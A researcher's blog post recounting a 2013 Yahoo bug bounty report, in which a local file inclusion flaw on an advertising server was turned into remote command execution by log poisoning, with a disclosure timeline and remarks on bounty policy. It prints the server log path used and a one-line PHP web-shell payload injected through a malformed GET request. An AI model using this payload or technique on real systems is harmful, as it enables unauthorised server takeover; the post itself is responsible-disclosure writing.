Tag Archives: LFI

Yahoo bug bounty program – LFI reported and patched!


Yahoo! bug bounty program is still young and I believe that they have been pushed to do this when they were not ready for it! Many of their web pages had not even been scanned by an automatic commercial scanner when they started running their bounty program and they will definitely lose profit on that. I guess this is the price that they are willing to pay to satisfy their customers. Other high profile companies that still do not care about an appropriate bug bounty program for their websites and their applications should rethink now! Thanks to the available bug bounty programs, the number of bounty hunters is now increased and the power of this community is growing everyday and this will save time and money for any company in the long run.

I remember the time that you could find at least one XSS in less than an hour and a SQLi in a few hours in Yahoo websites (http://www.xssed.com/pagerank). Now their bug bounty program is going to change this situation and the customers who have migrated to Gmail to have more security (I personally did that), may still use their Yahoo account!

However, it is still too early to say anything about Yahoo bug bounty program and we have to wait a few months to see their stable policy. There are security researchers who have reported more than 20 XSS issues to Yahoo now and they are waiting for their rewards! It is very interesting to see how much Yahoo will pay for any particular issue and how they are going to categorize the issues to pay from $150 for low risk issues to $15,000 for high risk issues. More info about Yahoo bug bounty programs from Ramses Martinez -Director, Yahoo Paranoids-: http://yahoodevelopers.tumblr.com/post/62953984019/so-im-the-guy-who-sent-the-t-shirt-out-as-a-thank-you

Now, I am going to share my experience in reporting a critical issue to Yahoo just for future reference (I am not going to talk about the XSS issues that I have reported to them).

LFI gave me RCE on “advertiser.yahoo.com” server!

I found a LFI issue in the following URL (it gives me the 404-error now!):


Interestingly, some of the users of this server had already left Yahoo a while ago but their user was still there! But this was not my concern; finding this issue was too easy and minimum skills were needed. However, exploitation was tricky as I could not find the log-files path on these Yahoo FreeBSD servers. I reported the issue to Yahoo at this point but I wanted to prove that this is a highly critical issue. So I searched in Google and by using try and error, I finally managed to find the log-file that I was looking for: “/home/y/logs/yapache/error”. Then, I just had to create an error! I sent a GET request with spaces in the request to cause 400-error-status and log my backdoor inside the log-file:

GET /<? passthru($_GET[cmd]) ?> HTTP/1.1

And now I could execute any commands on the server:



I ran a few commands (no network commands) and looked at the content of some PHP files but as I was not sure if I am allowed to continue, I stopped. Ramses Martinez (Director, Yahoo! Security Team) allowed me later to download the web files in order to find more vulnerabilities but when I looked into it the day after, the issue was fixed and it was too little too late to complete my glory ;) they were quite quick to address this issue as soon as they saw my email at the weekend.

I wish there was a policy that could tell me what I am allowed to do when I have RCE on the server in a bug bounty program. I did not even try to look at the sensitive files that could contain credentials such as database passwords as I was not sure about the legal side of my testing.


Fri, Oct 4, 2013 at 11:13 PM: Initial report of LFI to Yahoo

Sat, Oct 5, 2013 at 12:47 AM: LFI converted to RCE reported to Yahoo

Sun, Oct 6, 2013 at 6:19 PM: First contact from Yahoo directly from Ramses Martinez

Mon, Oct 7, 2013 at 3:16 AM: I have been informed that this issue plus other XSS issues that I had reported have been patched.


Ramses’ response: “Please keep in mind that we announced the program going live on 10/30 and we’re not fully operational. Which means we are still working out a few issues. Until that time our response could vary depending on submissions and workload. Work with me here and I’ll make sure that you are taken care of once the program is in place.”

I will update this section as soon as I get any news from Yahoo. The prize is between $150 to $15K based on the risk rating (impact x likelihood [?]) and I am wondering how much they are going to pay for this LFI to RCE issue.